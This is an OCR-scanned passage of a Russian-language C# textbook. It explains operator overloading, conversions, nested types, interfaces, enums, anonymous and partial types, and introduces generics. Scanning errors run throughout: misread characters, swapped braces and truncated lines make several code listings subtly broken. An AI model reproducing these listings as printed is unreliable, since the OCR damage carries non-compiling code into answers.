Глава 3 public static Counter operator +(int x, Counter y) { return new Counter(x + y.Count); } Ряд операторов в C# необходимо определять в парах. Мы уже ви- дели это на примере операторов == и ! = — определять один из них без другого не разрешается. Совершенно так же, если для типа определяет- ся оператор >, нужно определить и оператор <, и наоборот. То же самое справедливо и для операторов >= и <=. (Есть и еще одна пара, операторы true и false, однако они стоят немного особняком; чуть ниже я расска- жу о них подробнее.) Если вы перегружаете оператор, у которого есть соответствующий комбинированный оператор присваивания, вы фактически определяете поведение для них обоих. Например, если определить пользовательское поведение для оператора +, то автоматически будет работать и опера- тор +=. Ключевое слово operator также применяется для определения поль- зовательских преобразований, то есть методов, преобразующих ваш тип в некоторый другой или наоборот. Например, если бы нам потребова- лось преобразовывать объекты Counter в тип int и обратно, мы могли бы добавить в класс два метода, представленные в листинге 3.46. У Листинг 3.46. Операторы преобразования public static explicit operator int(Counter value) { return value.Count; } .^public static explicit operator Counter(int value) { return new Counter(value); } Я использовал здесь ключевое слово explicit (англ, явный), которое означает, что для доступа к данным преобразованиям следует приме- нять синтаксис приведения типов, как показано в листинге 3.47. Листинг 3.47. Использование операторов явного преобразования var с = (Counter) 123; var v = (int) с; 180
Типы Если вместо ключевого слова explicit поставить ключевое слово implicit (англ, неявный), то для преобразования не обязательно надо будет делать приведение типов. В главе 2 мы видели, что в определен- ных ситуациях C# автоматически выполняет повышение числовых ти- пов. Так, там, где ожидается тип long, например, в качестве аргумента метода или в выражении присваивания, можно использовать тип int. Преобразование из int в long всегда заканчивается успешно и не способ- но привести к потере информации, поэтому компилятор автоматически сгенерирует код для выполнения данного преобразования, не потребо- вав явного приведения типов. Если вы определите операторы неявного преобразования, компилятор C# просто начнет их использовать точ^пх таким же образом, позволяя размещать ваш пользовательский тип в тех местах, где ожидается некоторый другой тип. (На самом деле повыше- ние числовых типов вроде преобразования int в long спецификация C# определяет как встроенное неявное преобразование.) Операторы неявного преобразования относятся к числу операто- ров, которые не следует определять очень часто. Это имеет смысл де- лать лишь в случае, когда вы можете удовлетворить те же стандартные требования, предъявляемые к встроенному повышению типов: преобра- зование должно быть всегда доступным и никогда не выбрасывать ис- ключение. Более того, преобразование должно иметь смысл — неявные преобразования немного коварны в том отношении, что они позволяют вызывать методы в коде, по виду которого не скажешь, что он способен на это. Так что если вы не хотите ввести в заблуждение других разра- ботчиков, создавайте неявные преобразования только там, где они будут иметь четкий и однозначный смысл. C# распознает еще два оператора: true и false. Если вы определяете один из них, следует определить и второй. Это своеобразная пара опе- раторов, поскольку, несмотря на то что спецификация C# определяет их как перегрузку унарного оператора, им не ставятся в соответствие опе- раторы, которые можно было бы записать в выражении. Данные опера- торы вступают в действие в следующих двух сценариях. Если вы не определите неявное преобразование в тип bool, но опре- делите операторы true и false, C# будет использовать true при разме- щении вашего типа в качестве выражения инструкций do или while или в качестве условного выражения в цикле for. Однако предпочтение все же отдается оператору неявного преобразования в тип bool, так что это не главная причина существования данных операторов. 181
Глава 3 Операторы true и false в основном применяются для обеспечения воз- можности ставить пользовательский тип в качестве операнда логических булевых операторов (&& и 11). Как вы помните, они вычисляют второй операнд только в том случае, если результат вычисления первого не по- зволяет установить результат всей операции. Чтобы задать пользователь- ское поведение этих операторов, необходимо определить их нелогические эквиваленты (& и |) и операторы true и false. Вычисляя результат опера- тора &&, C# применит к первому операнду оператор false, и если это по- кажет, что первый операнд равен false, C# не станет беспокоиться о том, чтобы вычислить второй операнд. Если первый операнд не будет равен false, тогда придется вычислить второй операнд, и оба значения C# пере- даст пользовательскому оператору &. Оператор 11 действует почти так же, но используя, соответственно, операторы true и |. Возможно, у вас воз- ник вопрос, зачем нам нужны специальные операторы true и false — ведь мы могли бы просто определить неявное преобразование в тип bool? Да, ничто не мешает нам поступить таким образом, вместо того чтобы предо- ставлять операторы &, |, true и false, и в таком случае C# будет использо- вать это преобразование для реализации операторов && и 11 для нашего типа. Однако некоторые типы нуждаются в представлении значений, не равных ни true, ни false — у них может быть и третье значение, представ- ляющее неизвестное состояние. Оператор true делает возможным для C# задать объекту вопрос «Является ли это истинным?», а для объекта — от- ветить на него «Нет», не подразумевая, что имеется в виду false. Преоб- разование в тип bool такую возможность не поддерживает. Операторы true и false присутствуют в языке С#, начиная *с его первой версии, и их основным применением все это 3*5 время было обеспечение реализации типов, допускающих булево значение null, с использованием семантики, сходной с предлагаемой многими базами данных. Поддержка типов, допускающих значение null, которая была добавлена в язык в версии 2.0, является лучшим решением, потому в настоящее время эти операторы уже не представляют большой пользы, однако от них по-прежнему зависят некоторые старые части библиотеки классов .NET Framework. Никакие другие операторы перегрузить нельзя. Например, нельзя определить пользовательский смысл для оператора ., используемого для доступа к членам класса, для условного оператора (? :), оператора объединения с нулем (??) или оператора new. 182
Типы События " ' Структуры и классы могут определять события. Данная разновид- ность членов позволяет типу предоставлять уведомления об интересу- ющих событиях, используя для этого основанную на подписке модель. Например, объект пользовательского интерфейса, представляющий кнопку, может определить событие Click (англ, щелчок), что позволит вам создать код, который подписывается на это событие. Работа событий зависит от делегатов, и, поскольку данной теме по- священа глава 9, я не буду вдаваться в какие-либо подробности здесь. Я упоминаю о них лишь по той причине, что в противном случае данный- раздел о разновидностях членов был бы неполным. Вложенные типы Последней разновидностью членов, которые определяются в классе или структуре, являются вложенные типы. Вы можете4 определить вло- женные классы, структуры или любые другие типы, описываемые далее в главе. Вложенный тип способен делать все, что и обычный тип, обла- дая при этом парой дополнительных особенностей. Когда тип является вложенным, у вас больше возможностей при определении доступности. Тип, определенный в глобальной области видимости, может быть только открытым (public) или внутренним (internal) — делать его закрытым (private) бессмысленно, поскольку модификатор private делает что-либо доступным только из вмещающе- го типа, а в данном случае таковой отсутствует. Однако у вложенного типа есть вмещающий тип, поэтому, если определить и сделать закры- тым вложенный тип, его можно будет использовать только из того типа, внутрь которого он вложен. Пример закрытого класса демонстрирует листинг 3.48. Листинг 3.48. Закрытый вложенный класс class Program { private static void Main(string!] args) ( // Запрашиваем у библиотеки классов место размещения папки Мои документы string path = Environment.GetFolderPath( 183
Глава 3 Environment.SpecialFolder.MyDocuments); J string!] files = Directory.GetFiles(path); var comparer = new Lengthcomparer(); Array.Sort(files, comparer); foreach (string file in files) { Console.WriteLine(file); } I private class Lengthcomparer : IComparer<string> { public int Compare(string x, string y) { int diff = x.Length - y.Length; return diff == 0 ? x.CompareTo(y) : diff; I ) I Закрытые классы могут иметь смысл в аналогичных данному сл чаю сценариях, когда используется API-интерфейс, требующий ре лизации некоторого интерфейса. В примере я вызываю метод Апа] Sort с целью отсортировать список файлов по длине их имени (это i особенно удобно, но хорошо выглядит). Я предоставляю пользовател ский порядок сортировки в виде объекта, реализующего интерфе! IComparer<string>. Подробно я остановлюсь на интерфейсах в следующем раздел а пока только скажу, что данный интерфейс представляет собой лип описание того, что мы должны предоставить методу Array. Sort. Для р( ализации этого интерфейса я написал пользовательский класс. Данны класс является лишь деталью реализации остальной части кода, потоп мне не нужно делать его открытым. Что мне здесь нужно, так это ши женный закрытый класс. Коду во вложенном типе разрешается использовать неоткрыты члены вмещающего типа. Однако экземпляр вложенного типа не ш лучает автоматически ссылку на экземпляр своего вмещающего тип (Если вы знакомы с языком Java, это может вас удивить. Вложенны классы языка C# являются эквивалентом статических вложенных клас сов Java, а эквивалента внутренним классам в C# нет.) Поэтому, есл 184
Типы вам нужно, чтобы вложенные экземпляры обладали ссылкой на свой контейнер, вам потребуется объяв^л^ поле, содержащее такую ссылку, и обеспечить его инициализацию; это необходимо сделать точно так же, как для любого объекта, который должен содержать ссылку на другой объект. Очевидно, что данная возможность доступна, только если внеш- ний тип является ссылочным. Пока мы рассмотрели только классы и структуры, однако в C# суще- ствуют и другие способы определить пользовательский тип. Некоторые из них являются достаточно сложными, и я отвожу им отдельные главы, однако о нескольких более простых я расскажу здесь. Интерфейсы Интерфейс определяет программный интерфейс, но полностью ли- шен реализации. Классы могут выбирать для реализации те или иные интерфейсы. Если вы напишете код, который будет работать в терминах интерфейса, он станет работать с любым типом, реализующим этот ин- терфейс, не будучи ограниченным каким-то одним. Например, платформа .NET Framework определяет интерфейс с именем IEnumerable<T>, который определяет минимальный набор чле- нов для представления последовательностей значений. (Поскольку это обобщенный интерфейс, он может представлять последовательности, состоящие из любых элементов. Например, IEnumerable<string> явля- ется последовательностью строк. Обобщенные типы рассматриваются в главе 4.) Если у метода есть параметр с типом IEnumerable<string>, вы може- те передать ему ссылку на экземпляр любого поддерживающего данный интерфейс типа, а это означает, что всего один метод сможет работать с массивами, различными классами коллекций, которые предостав- ляет библиотека классов .NET Framework, определенными LINQ- возможностями и многим другим. Интерфейс объявляет методы, свойства и события, но не их содержи- мое, что иллюстрирует листинг 3.49. Свойства указывают на необходи- мость присутствия методов-получателей и/или методов-установщиков, но на месте тела этих методов может стоять точка с запятой. Интерфейс, по сути, представляет собой список членов, которые потребуется предо- ставить типу для реализации интерфейса. 185
Глава 3 Листинг 3.49. Интерфейс public interface IDoStuff { string this[int i] { get; set; } string Name { get; set; } int Id { get; } int SomeMethod(string arg); event EventHandler Click; I Отдельным членам не разрешается иметь модификаторы доступа - управление доступностью осуществляется на уровне интерфейса. (Как и классы, интерфейсы могут быть либо открытыми (public), либо вну- тренними (internal); исключение составляют вложенные интерфейсы, которые Способны обладать любым уровнем доступа.) Интерфейсы не могут содержать поля или вложенные типы, поскольку они определя- ют только API-интерфейс, но не реализацию. Они также не способны объявлять конструкторы — они только сообщают, какие службы должен предоставить объект после его создания. Кстати, следует отметить, что большинство интерфейсов платфор- мы .NET придерживается соглашения по именованию СтильПаскаль, согласно которому имена должны начинаться с прописной буквы и со- стоять из одного или нескольких слов. Класс объявляет интерфейсы, им реализуемые, в списке, следующем через двоеточие после его имени, как показывает листинг 3.50. Класс должен предоставить реализации всех указанных в интерфейсе членов; если какой-либо из них будет пропущен, компилятор выдаст сообщение об ошибке. Листинг 3.50. Реализация интерфейса public class DoStuff : IDoStuff { public string this[int i] { get { return i.ToStringO; ) set { } } public string Name { get; set; } I При реализации интерфейса каждый из его методов обычно опреде- ляется как открытый член класса. Однако иногда необходимо бывает из- бежать этого. Иногда API-инТерфейс может потребовать реализации ин- 186
Типы терфейса, который, как вам кажется, нарушает чистоту API-интерфейса вашего класса. Или, в более прозаичной ситуации, может уже существовать член, обладающий таким же именем и сигнатурой, как у требуемого интер- фейсом, но выполняющий что-то отличное от последнего. Иногда, что еще хуже, бывает необходимо реализовать два разных интерфейса, каждый из которых определяет члены с одинаковыми именами и сигнатурой, но тре- бует разное поведение. Любую из этих проблем можно решить с помощью техники, называемой явной реализацией, что позволяет определять члены, реализующие член некоторого интерфейса, не являясь открытыми. Ис- пользуемый для этого синтаксис демонстрирует листинг 3.51 на примере реализации одного из методов интерфейса, чье определение представлено в листинге 3.49. В случае явной реализации не указывается доступность? и имя члена квалифицируется именем интерфейса. Листинг 3.51. Явная реализация члена интерфейса int IDoStuff.SomeMethod(string arg) * Когда тип применяет явную реализацию интерфейса, такие члены нельзя использовать через ссылку на сам этот тип. Они становятся ви- димыми только при обращении к объекту через выражение типа интер- фейса. Когда класс реализует интерфейс, он становится неявно преоб- разуемым в тип этого интерфейса. Потому, например, любое выражение с типом DoS tuff можно передать в качестве аргумента метода с типом IDoStuff. Интерфейсы являются ссылочными типами. Несмотря на это, их можно реализовывать и в классах, и в структурах. Однако все же в слу- чае структуры следует соблюдать осторожность, поскольку, когда вы получаете ссылку на структуру, обладающую типом интерфейса, это будет ссылка на упаковку, которая, по сути, представляет собой объект, хранящий копию структуры таким образом, чтобы к ней можно было обратиться по ссылке. Об упаковке мы поговорим в главе 7. Перечисления Ключевое слово enum {англ, перечисление) объявляет очень про- стой тип, определяющий некоторое количество именованных значений. Листинг 3.52 демонстрирует тип enum, определяющий набор взаимои- 187
Глава 3 сключающих вариантов. Можно сказать, что тип перечисляет варианты, поэтому такие типы и называются «перечислениями». Листинг 3.52. Перечисление с взаимоисключающими вариантами public enum PorridgeTemperature { TooHot, TooCold, JustRight } Перечисление можно использовать почти везде, где допускаются другие типы, — например, в качестве типа локальной переменной, поля или параметра метода. Однако одним из наиболее типичных примене- ний перечисления является его использование в инструкции switch, как показано в листинге 3.53. Листинг 3.53. Использование перечисления в инструкции switch switch (porridge.Temperature) { case PorridgeTemperature.TooHot: GoOutsideForABit(); break; » case PorridgeTemperature.TooCold: MicrowaveMyBreakfast(); break; case PorridgeTemperature.JustRight: NomNomNom(); break; I Как показывает данный пример, для ссылки на члены перечисления необходимо квалифицировать их именем типа. Перечисление фактиче- ски является лишь изящным способом определения нескольких кон- стантных полей. В действительности все члены представляют собой лишь замаскированные значения типа int. Вы даже можете специфици- ровать эти значения явно, как показано в листинге 3.54. Листинг 3.54. Явная спецификация значений перечисления [System.Flags] public enum Ingredients 188
Типы Eggs = 1, Bacon = 2, Sausages = 4, Mushrooms = 8, Tomato = 0x10, BlackPudding = 0x20, BakedBeans = 0x40, TheFullEnglish = 0x7f Данный пример также демонстрирует альтернативный способ ис- пользования перечисления. Варианты в листинге 3.54 не являются вМ- имоисключающими. Как разработчик, вы должны были заметить, что почти все эти константные значения в двоичной форме представляют собой круглые числа. (На тот случай, если вы не помните, что это за числа, я напомню, что это двоичные 1, 10, 100, 1000 и т. д. В примере я использовал шестнадцатеричные литералы, поскольку такая запись делает это более заметным.) Такая возможность позволяет очень лег- ко объединять значения друг с другом — объединение Eggs и Bacon дает значение 3 (И в двоичной форме), а объединив Eggs, Bacon, Sausages, BlackPudding и BakedBeans, мы получим 103 (1100111 в двоичной форме или 0x67 в шестнадцатеричной форме). Для объединения значений флагового перечисления обычно используется оператор побитового ИЛИ. Например, вы могли 3?»*бы записать Ingredients.Eggsl Ingredients.Bacon. Это не только намного лучше читается по сравнению с числовыми значе- ниями, но и позволяет использовать средства поиска среды разработки Visual Studio — щелкнув правой кнопкой мыши по определению конкретного символа и выбрав в контекстном меню команду Find All References (Найти все ссылки), можно отыскать все места, когда он используется. Иногда встреча- ется код, где вместо оператора | используется +. В некото- рых случаях это будет работать, однако, к примеру, операция Ingredients. TheFullEnglish + Ingredients .Eggs даст в результа- те значение 0x80, что не соответствует никакому другому зна- чению, поэтому безопаснее всегда использовать оператор |. Если перечисление объявляется с расчетом на подобное объедине- ние значений, предполагается, что его необходимо аннотировать поль- 189
Глава 3 зовательским атрибутом Flags, который определен в пространстве имен System (в главе-15 я остановлюсь на атрибутах подробнее). В листинге 3.54 так именно и сделано, однако не случится большой беды, если даже вы забудете об этом, поскольку для компилятора C# не важно, есть данный атрибут или его нет, так что лишь очень немногие инструменты обраща- ют на него внимание. Главное преимущество, которое дает атрибут Flags, состоит в том, что при вызове для перечисления метода ToString он обна- ружит наличие этого атрибута. В случае данного типа Ingredients метод ToString преобразует значение 3 в строку Eggs, Bacon — и точно так же это значение будет представлено в отладчике. Если же атрибут Flags отсут- ствует, метод ToString воспримет число 3 как с нераспознанное значение, в результате чего вы получите просто строку с цифрой 3. В случае такого флагового перечисления вы довольно быстро мо- жете занять все доступные разряды. По умолчанию для представления значений перечисление использует тип int, и в случае последователь- ности взаимоисключающих значений размер этого типа, как правило, является вполне достаточным. Требуется действительно сложный сце- нарий, чтобы в одном типе перечисления потребовалось разместить миллиарды разных значений. Однако если использовать 1 разряд на один флаг, то тип int может предоставить место только для 32 флагов. К счастью, у вас есть возможность получить чуть больше пространства, указав другой базовый тип — разрешается использовать любой встро- енный целочисленный тип, следовательно, количество разрядов можно довести до 64. Как показывает листинг 3.55, базовый тип указывается через двоеточие после имени типа перечисления. Листинг 3.55. 64-разрядное перечисление [System.Flags] public enum TooManyChoices : long ( 1 Попутно следует заметить, что все типы перечислений являются значимыми, как встроенные числовые типы или структуры, но очень ограничены в возможностях. Нельзя определить никаких других чле- нов, помимо константных значений, — например, свойств или методов. Иногда типы перечислений позволяют улучшить читаемость кода. Многие API-интерфейсы для управления некоторым аспектом их пове- дения принимают булево значение, но зачастую для этого лучше исполь- 190
Типы зовать перечисление. Взгляните на код в листинге 3.56. Здесь создается экземпляр класса StreamReader, предназначенного для работы с содер- жащими текст потоками. В качестве второго аргумента конструктор это- го класса принимает булево значение. Листинг 3.56. Отсутствие ясности при использовании булева значения var rdr = new StreamReader(stream, true); У нас нет ни малейшего представления о том, что делает второй ар- гумент. Если вам уже приходилось сталкиваться с классом StreamReader, то, возможно, вы знаете, что этот аргумент определяет, должен ли по- рядок следования байтов в многобайтовой кодировке текста задаваться явно из кода или определяться из преамбулы в начале потока (здесь по- могло бы использование синтаксиса именованных аргументов). И если у вас действительно хорошая память, вы также, наверное, помните, како- му из этих вариантов соответствует значение true. Однако большинство простых смертных разработчиков, вероятно, сможет понять, что делает этот аргумент, лишь обратившись к IntelliSense или даже к документа- ции. Сравните приведенный опыт с листингом 3.57, гйе используется другая разновидность конструктора. Листинг 3.57. Полная ясность при использовании перечисления var fs = new Filestream(path, FileMode.Append); В качестве второго аргумента этот конструктор принимает тип пере- числения, что способствует большей прозрачности кода. На сей раз раз- работчику не нужно обладать феноменальной памятью, чтобы понять, что данный код намеревается добавить информацию в существующий файл. Такой API-интерфейс предлагает более двух вариантов, потому он не может использовать булево значение; перечисление FileMode при- меняется здесь по необходимости. Однако этот случай показывает, что даже если выбор осуществляется между двумя вариантами, стоит по- думать о том, чтобы определить для выполнения этой работы перечис- ление — что обеспечит вам полную ясность относительно того, какой выбор делается, при просмотре кода. Другие типы Мы почти завершили наш обзор типов и их составных частей. Рас- смотрение одной разновидности типов, а именно делегатов, я отложу 191
Глава 3 до главы 9. Они используются в том случае, когда требуется ссылка на функцию, однако это затрагивает довольно сложные подробности. Я также не упомянул об указателях. C# поддерживает указатели, ра- ботающие примерно так же, как в других языках семейства С, включая арифметику указателей. Этот тип немного выбивается из общего ряда, поскольку в некотором смысле находится за пределами системы типов. Так, в главе 2 я упомянул, что переменная типа object может ссылаться «почти на все, что угодно». Я сказал так по той причине, что указатели составляют исключение — тип object может работать с любым типом данных языка С#, кроме указателей. Об указателях мы поговорим в гла- ве 21. Теперь действительно можно сказать, что мы закончили. Неко- торые типы в C# являются специальными — к числу таковых относят- ся встроенные типы, структуры, интерфейсы, перечисления, делегаты и указатели; однако все остальные типы — классы. Ряд классов требу- ет особого обращения в определенных ситуациях — особенно классы атрибутов (глава 15) и исключений (глава 8) — однако вне этих особых сценариев даже они представляют собой самые обычные классы. И, не- смотря на то что мы рассмотрели все разновидности типов, поддержи- ваемые С#, существует еще один способ определения класса, о котором я не пока рассказал. Анонимные типы i Если вам нужен тип, представляющий собой всего лишь ряд сохра-1 няемых в свойствах значений, сгенерировать подходящий класс для вас] может компилятор С#. Листинг 3.58 показывает, как создать и исполь- зовать экземпляр анонимного типа (как называются такие типы). Листинг 3.58. Анонимный тип var х = new { Title = ’’Lord", Surname = "Voldemort" }; Console.WriteLine("Welcome, ’’ + x.Title + " " + x.Surname); Как видите, мы используем ключевое слово new, не специфицируя имя типа. Вместо этого мы просто помещаем в фигурные скобки после- довательность пар имя/значение. Компилятор C# предоставит тип, со- держащий по одному свойству только для чтения для каждой пары имя/ значение. Таким образом, в листинге 3.58 переменная х будет ссылаться на объект с двумя свойствами, Title и Surname, принадлежащими к типу string. (Типы свойств анонимного типа не указываются явно. Компиля- тор выводит тип каждого свойства из выражения инициализации таким 192 1
Типы же образом, как делается в случае ключевого слова var.) Поскольку это самые обычные свойства, к ним можно обращаться, используя обычный синтаксис, что и демонстрирует вторая строка данного примера. Для каждого анонимного типа компилятор генерирует вполне обыч- ное определение класса. Это неизменяемый тип, поскольку все свойства доступны только для чтения. Что довольно удобно, он переопределяет метод Equals, позволяя сравнивать экземпляры по значению, и предо- ставляет соответствующую реализацию метода GetHashCode. Единствен- ное, что отличает такой класс от других, так это отсутствие возможно- сти обратиться к типу по его имени в С#. Запустив код из листинга 3.58 в отладчике, я обнаружил, что компилятор выбрал для типа имя <>f^ AnonymousType0'2. Это недопустимый в C# идентификатор, поскольку в его начале стоят угловые скобки (о). Компилятор C# использует та- кие имена каждый раз, когда ему нужно создать имя, гарантированно не конфликтующее с любыми идентификаторами, которые вы можете применить в своем коде, или не используемое вами напрямую. Такие идентификаторы называются непроизносимыми именами. с Поскольку записать имя анонимного типа нельзя, метод не может объявить, что он возвращает такой тип или что требует его в качестве аргумента (за исключением случая, когда анонимный тип используется как выведенный аргумент обобщенного типа, о чем мы поговорим в гла- ве 4). Конечно, на экземпляр анонимного типа способно ссылаться вы- ражение типа object, однако свойства такого типа может использовать только тот метод, в котором он определен. (Исключение составляет слу- чай применения динамических типов, о чем мы поговорим в главе 14.) Таким образом, создается впечатление, что данные типы обладают огра- ниченной пользой. Они были добавлены в язык для поддержки техноло- гии LINQ: как вы увидите в главе 10, они позволяют запросу выбирать конкретные столбцы или свойства из некоторой коллекции источника, а также определять пользовательские критерии группировки. Частичные типы и методы Остался еще один вопрос, который я хотел бы обсудить в отноше- нии типов и с которым вы наверняка будете регулярно сталкиваться. C# поддерживает так называемое частичное объявление типа. Это очень простая концепция: она означает, что объявление типа может прости- раться на несколько файлов. Если добавить в объявление типа ключе- вое слово partial, то компилятор C# не выдаст сообщение об ошибке, 193
Глава 3 если в другом файле будет определен такой же тип — он просто будет действовать так, как если бы все определенные в двух файлах члены рас- полагались в одном объявлении в одном файле. Данная возможность призвана облегчить написание генерирующих код инструментов. Различные функции среды разработки Visual Studio могут генерировать определенные части класса за вас; это особенно ха- рактерно для создания пользовательского интерфейса. Приложения с пользовательским интерфейсом обычно обладают разметкой, опреде- ляющей компоновку и содержание каждой его части; существует воз- можность сделать определенные элементы пользовательского интер- фейса доступными в коде. Обычно это достигается путем добавления поля в класс, ассоциированный с файлом разметки. Для простоты все части класса, которые генерирует среда разработки Visual Studio, раз- мещаются в собственном файле, отдельно от частей, создаваемых вами. Это означает, что в любой необходимый момент сгенерированные части можно создать заново без какого-либо риска перезаписать ваш код. До того как в C# появились частичные типы весь код класса должен был размещаться в одном файле, и в случае сбоя генерирующих код средств это вело к потерям. Частичные методы также рассчитаны на сценарии генерирования кода,»однако такая концепция немного сложнее. Она позволяет, чтобы один, обычно сгенерированный файл объявил некоторый метод, а дру- гой файл его реализовал. (Строго говоря, допускается, чтобы объявле- ние и реализация находились в одном файле, но обычно они размеща- ются в разных.) Возможно, описываемое мною похоже на отношение между интерфейсом и реализующим его классом, но это не совсем одно и то же. В случае частичных методов объявление и реализация находят- ся в одном и том же классе -- они размещены в разных файлах лишь потому, что класс был разбит на несколько файлов. Применение частичных классов не ограничивается сценария- ми генерирования кода; поэтому, конечно, данную возмож- ------ ность можно использовать, чтобы разбивать на несколько файлов определения своих классов. Однако если созданный вами класс является большим и сложным, и вы чувствуете, что для удобства сопровождения его нужно разбить на несколь- ко файлов, это верный признак того, что класс действительно слишком сложен.^Лучшим подходом к решению данной про- блемы, вероятно, станет внесение изменений в дизайн. 194
Типы Если не предоставить реализацию частичного метода, компилятор будет действовать так, как если^Гэтот метод не существовал вообще, и любой вызывающий метод код окажется просто проигнорирован на этапе компиляции. Такое делается с целью поддержки механизмов гене- рирования кода, способных предложить самые разные уведомления, но в то же время свести к нулю затраты на этапе выполнения на те уведом- ления, которые вам не нужны. Частичные методы делают такое возмож- ным, позволяя генерирующему код инструменту объявить частичный метод для каждого предоставляемого им вида уведомлений, а затем сге- нерировать код, вызывающий все эти частичные методы там, где они не- обходимы. Весь код, имеющий отношение к уведомлениям, для которых вы не напишете метод-обработчик, будет удален на этапе компиляции. Это достаточно своеобразный механизм, однако его создание было обусловлено наличием фреймворков, предоставляющих очень большое количество уведомлений и точек расширения. Его можно заменить не- которыми более очевидными техниками времени выполнения, таки- ми как интерфейсы, или возможностями, что я опишу в последующих главах, такими как обратные вызовы или виртуальйые методы. Однако любой из этих способов требует сравнительно больших затрат на неис- пользуемые возможности. Неиспользуемые частичные методы удаля- ются на этапе компиляции, сводя затраты на неиспользуемые возмож- ности к нулю, что является существенным преимуществом. Резюме К настоящему моменту мы уже рассмотрели почти все разновидно- сти типов, которые вы можете создавать в С#, и разновидности поддер- живаемых ими членов. Наиболее широко используются классы, однако если требуется семантика значения при присваивании и передаче аргу- ментов, будут полезны структуры; и те, и другие поддерживают одина- ковые разновидности членов — а именно, поля, конструкторы, методы, свойства, индексаторы, события, пользовательские операторы и вло- женные типы. Интерфейсы являются абстрактными типами, поэтому поддерживают только методы, свойства, индексаторы и события. И, на- конец, перечисления — очень ограниченная разновидность типа, предо- ставляющая просто набор известных значений. Еще одна возможность системы типов языка C# позволяет созда- вать очень гибкие типы, которые называют обобщенными. Их мы рас- смотрим в следующей главе. 195
Глава 4 ОБОБЩЕНИЯ I i В главе 3 я показал, как работать с типами, и описал различные виды членов, которые они могут содержать. Однако у классов, структур, ин- терфейсов и методов есть еще одно измерение, не показанное мною. Они способны определять параметры типа, представляющие собой метку- заполнитель, позволяющую подставлять различные типы на этапе ком- пиляции. Это дает вам возможность, написав только один тип, создавать различные его версии. Такой тип называется обобщенным типом. На- пример, в библиотеке классов определен обобщенный класс с именем List<T>, который используется для представления массивов переменной длины. Здесь т является параметром типа, и в качестве аргумента можно испрльзовать любой тип; таким образом, List<int> будет списком целых чисел, List<string> — списком строк и т. д. Вы также можете написать обобщенный метод, например, обладающий собственными аргументами типа, безотносительно, является ли обобщенным вмещающий тип. Обобщенные типы и методы выделяются своим внешним видом, поскольку после их имени всегда стоят угловые скобки (< и >). Внутри этих скобок содержится разделенный запятыми список параметров или аргументов. Здесь действует то же различие между параметрами и ар- гументами, что и в случае обычных методов: в объявлении указывается список параметров, после чего при обращении к методу или типу предо- ставляются аргументы для этих параметров. Таким образом, в объявле- нии List<T> определяется один параметр типа — Т, а в вызове List<int> предоставляется аргумент типа — int — для этого параметра. Для параметров типа можно использовать любые имена, в рамках обычных ограничений для идентификаторов в С#. Существует рас- пространенное, но не всеобщее соглашение использовать имя Т в слу- чае одного параметра. В случае обобщений с несколькими параметрами, как правило, используются' более описательные имена. Например, в би- блиотеке классов определен класс коллекции DictionaryCTKey, TValueX Иногда подобное описательное имя можно увидеть и в случае одного параметра, однако так или иначе, как правило, будет стоять префикс т для выделения параметров типа при их использовании в коде. 196
Обобщения Обобщенные типы Обобщенными могут быть как классы, так и структуры и интерфей- сы, равно как и делегаты, которые рассматриваются в главе 9. Как опре- делять обобщенный класс, показывает листинг 4.1. Для структур и ин- терфейсов используется почти такой же синтаксис — сразу за именем типа следует список его параметров. Листинг 4.1. Определение обобщенного класса public class NamedContainer<T> { public NamedContainer(T item, string name) Item = item; Name = name; } public T Item { get; private set; } public string Name { get; private set; } ) Внутри тела класса можно использовать имя Т в любом месте, где допускается использовать имя типа. В данном случае я взял этот уип в качестве аргумента конструктора, а также в качестве типа свойства Item. Я мог бы определить и поля типа Т. (На самом деле я это и сде- лал, хоть и неявно. Поскольку синтаксис автоматического свойства ге- нерирует скрытые поля, у свойства Item будет ассоциированное скры- тое поле с типом т.) Можно также определить локальные переменные с типом Т. Кроме того, параметры типа допускается свободно использо- вать в качестве аргументов других обобщенных типов. Например, тип NamedContainer<T> мог объявить переменную типа List<T>. Класс, который определяется в листинге 4.1, как и любой обобщен- ный тип — незавершенный. Объявление обобщенного типа неограни- ченно, это означает, что для получения завершенного типа необходимо вставить параметры. Такие базовые вопросы, как, например, сколько памяти потребуется для экземпляра типа NamedContainer<T>, остаются без ответа до тех пор, пока мы не узнаем, что собой представляет тип Т - если это будет тип int, то скрытое поле для свойства Item потребует 4 байта, если decimal, то 16 байт. Если среда CLR не знает даже того, как будет организовано содержимое типа в памяти, она тем более не спо- собна сгенерировать для типа исполняемый код. Потому для того что- 197
Глава 4 бы можно было использовать этот или любой другой обобщенный тип, необходимо предоставить аргументы типа. Как — демонстрирует ли- стинг 4.2. Тип, получаемый в результате подстановки аргументов, ино- гда называют сконструированным типом. (Такое название немного сби- вает с толку, поскольку тут нет никакой связи с конструкторами, особой разновидностью членов, которую мы рассмотрели в главе 3. На самом деле в листинге 4.2 используются и они — мы вызываем конструкторы двух сконструированных типов.) Листинг 4.2. Использование обобщенного класса var а = new NamedContainer<int>(42, "Ответ"); var b = new NamedContainer<int>(99, "Количество красных шариков"); var с = new NamedContainer<string>("Программирование на языке C# 5.0", "Название книги"); Сконструированный обобщенный тип можно использовать везде, где уместен обычный тип — например, в качестве типа параметров или возвращаемых значений метода, вроде свойств или полей. Его даже можно применить в качестве аргумента типа другого обобщенного типа, как показывает листинг 4.3. Листинг 4.3. Использование экземпляра обобщенного класса в качестве аргумента типа-, // Здесь а и b взяты из листинга 4.2. var namedints = new List<NamedContainer<int»() { a, b }; var namedNamedltem = new NamedContainer<NamedContainer<int»(a, "B обертке"); Каждая отличающаяся комбинация аргументов типа образует от- дельный тип (или, в случае обобщенного типа с одним параметром, отдельный тип образует каждый отличающийся аргумент типа). Это означает, что NamedContainer<int> и NamedContainer<string> являются разными типами. Именно потому не возникает конфликта при исполь- зовании типа NamedContainer<int> в качестве аргумента типа другого типа NamedContainer, как сделано в последней строке листинга 4.3 - это не приводит к бесконечной рекурсии. Поскольку каждый отличающийся набор аргументов типа образу- ет отдельный тип, не подразумевается совместимости между различ- ными формами одного обобщенного типа. Нельзя присвоить значение типа NamedContainer<int> переменной типа NamedContainer<string> или наоборот. Несовместимость этих двух типов вполне оправданна, по- 198
